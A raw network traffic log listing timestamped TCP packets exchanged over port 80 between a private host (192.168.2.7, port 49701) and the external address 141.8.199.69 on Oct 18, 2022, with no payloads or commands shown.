Oct 18, 2022 13:28:11.359282970 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.359287977 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359323978 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.359330893 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359366894 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.359373093 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359407902 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.359415054 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359450102 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.359453917 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359491110 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.359498024 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359532118 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.359538078 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359572887 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.359599113 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359613895 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.359632969 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359653950 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.359662056 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359694958 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.359702110 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359735966 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.359751940 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359777927 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.359786034 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359822035 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.359826088 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359862089 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.359872103 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359904051 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.359910965 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359950066 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.359954119 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.359989882 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.360002041 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.360032082 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.360042095 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.360073090 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.360080957 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.360115051 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.360122919 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.360157013 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.360162973 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.360197067 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.360208035 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.360238075 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.360245943 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.360279083 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.360286951 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.360317945 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.360352039 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.360385895 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.360425949 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.420902014 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.420953035 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421055079 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421087027 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421096087 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421116114 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421129942 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421142101 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421158075 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421171904 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421179056 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421195984 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421196938 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421224117 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421228886 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421247005 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421252012 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421267986 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421278954 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421297073 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421308041 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421331882 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421339035 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421355963 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421356916 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421380997 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421382904 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421400070 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421406984 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421423912 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421432972 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421457052 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421463013 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421473980 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421482086 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421499014 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421513081 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421525955 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421536922 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421555996 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421562910 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421586990 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421591043 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421614885 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421621084 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421641111 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421669960 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421683073 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421696901 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421720028 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421724081 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421750069 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421752930 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421766043 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421776056 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421788931 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421802998 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421817064 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421828985 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421843052 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421855927 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421865940 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421881914 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421894073 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421911001 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421921968 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421938896 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421948910 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.421967030 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.421981096 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.422008991 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.482392073 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482420921 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482439041 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482458115 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482472897 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482492924 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482512951 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482521057 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.482532024 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482544899 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482559919 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.482564926 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482584000 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482603073 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482621908 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482624054 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.482640028 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482647896 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.482657909 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482677937 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482691050 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.482697010 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482716084 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482729912 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.482734919 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482753992 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.482753992 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482773066 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482790947 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482790947 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.482808113 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482826948 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.482826948 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482846022 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482853889 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.482865095 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482889891 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.482891083 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482904911 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482923031 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482937098 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482954979 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482968092 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.482975006 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.482992887 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.483011961 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.483015060 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.483031034 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.483042955 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.483048916 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.483064890 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.483067989 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.483102083 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.483131886 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.543567896 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.543636084 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.543678999 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.543704033 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.543751955 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.543751955 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.543817997 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.543864012 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.543870926 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.543905973 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.543917894 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.543951988 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.543953896 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.543993950 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.543999910 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.544034958 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.544042110 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.544078112 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.544091940 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.544118881 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.544126987 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.544159889 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.544163942 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.544218063 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.544641972 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.544687986 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.544733047 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.544754028 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.544778109 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.544810057 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.544821024 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.544831991 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.544862032 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.544874907 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.544903994 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.544910908 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.544948101 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.544989109 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.544990063 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.545003891 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.545034885 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.545041084 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.545078039 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.545090914 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.545120955 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.545125008 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.545161963 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.545171976 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.545207024 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.545212984 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.545248032 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.545254946 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.545289993 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.545300961 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.545331955 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.545336962 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.545377016 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.545382023 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.545420885 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.545463085 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.545464993 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.545501947 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.545506001 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.545510054 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.545547009 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.545552015 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.545589924 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.545593023 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.545631886 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.545634985 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.545679092 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.545692921 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.545743942 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.545754910 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.545810938 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.604736090 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.604770899 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.604803085 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.604810953 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.604829073 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.604845047 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.604845047 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.604856014 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.604883909 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.604892969 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.604907990 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.604909897 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.604935884 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.604937077 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.604949951 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.604963064 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.604990005 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.605014086 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.605016947 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.605040073 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.605043888 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.605066061 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.605087042 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606000900 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606030941 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606056929 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606064081 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606086016 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606107950 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606112957 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606122971 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606137991 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606139898 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606168032 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606172085 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606182098 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606193066 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606209040 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606219053 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606234074 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606255054 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606270075 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606281042 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606298923 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606309891 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606324911 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606337070 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606354952 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606364012 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606379986 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606390953 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606405973 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606419086 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606437922 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606446981 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606462955 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606473923 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606491089 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606501102 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606519938 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606529951 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606544971 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606559038 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606571913 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606589079 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606604099 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606615067 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606637001 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606642008 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606658936 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606669903 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606686115 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606698036 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.606717110 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.606743097 CEST	49701	80	192.168.2.7	141.8.199.69
Oct 18, 2022 13:28:11.665591955 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.665633917 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.665662050 CEST	80	49701	141.8.199.69	192.168.2.7
Oct 18, 2022 13:28:11.665690899 CEST	80	49701	141.8.199.69	192.168.2.7
